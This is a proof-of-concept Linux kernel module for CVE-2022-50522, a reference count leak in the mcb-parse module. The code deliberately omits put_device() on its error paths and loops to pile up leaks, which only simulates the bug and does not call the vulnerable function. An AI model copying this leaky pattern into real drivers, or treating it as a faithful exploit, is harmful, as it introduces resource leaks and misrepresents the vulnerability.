CVE-2022-50522 Linux内核mcb-parse模块引用计数泄漏漏洞

/* CVE-2022-50522 PoC - Reference Count Leak in chameleon_parse_gdd() * This PoC demonstrates the reference count leak vulnerability in * the Linux kernel mcb-parse module. * * Note: This vulnerability requires local access and specific hardware * (mcb/Chameleon device) to trigger. The PoC shows the conceptual * trigger path. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/mcb.h> /* Simulate the vulnerable code path in chameleon_parse_gdd() */ static int trigger_refcount_leak(void) { struct mcb_bus *bus; struct mcb_device *dev; int ret; /* Allocate and initialize mcb bus (acquires reference) */ bus = mcb_alloc_bus(NULL); if (!bus) return -ENOMEM; /* In the vulnerable version, if mcb_device_register() fails, * the references to bus and device name are NOT released. * The fix adds put_device() in the error path. */ /* Attempt to register device - if this fails, leak occurs */ dev = mcb_alloc_dev(bus, NULL); if (!dev) { /* Missing: put_device(&bus->dev) - this is the bug */ return -ENOMEM; } ret = mcb_device_register(dev); if (ret < 0) { /* VULNERABLE: Missing put_device() call here */ /* FIXED version would have: put_device(&dev->dev); */ return ret; } return 0; } static int __init poc_init(void) { pr_info("CVE-2022-50522 PoC loaded\n"); /* Trigger the vulnerability multiple times to accumulate leaks */ int i; for (i = 0; i < 100; i++) { trigger_refcount_leak(); } pr_info("Reference counts leaked\n"); return 0; } static void __exit poc_exit(void) { pr_info("CVE-2022-50522 PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Research"); MODULE_DESCRIPTION("PoC for CVE-2022-50522");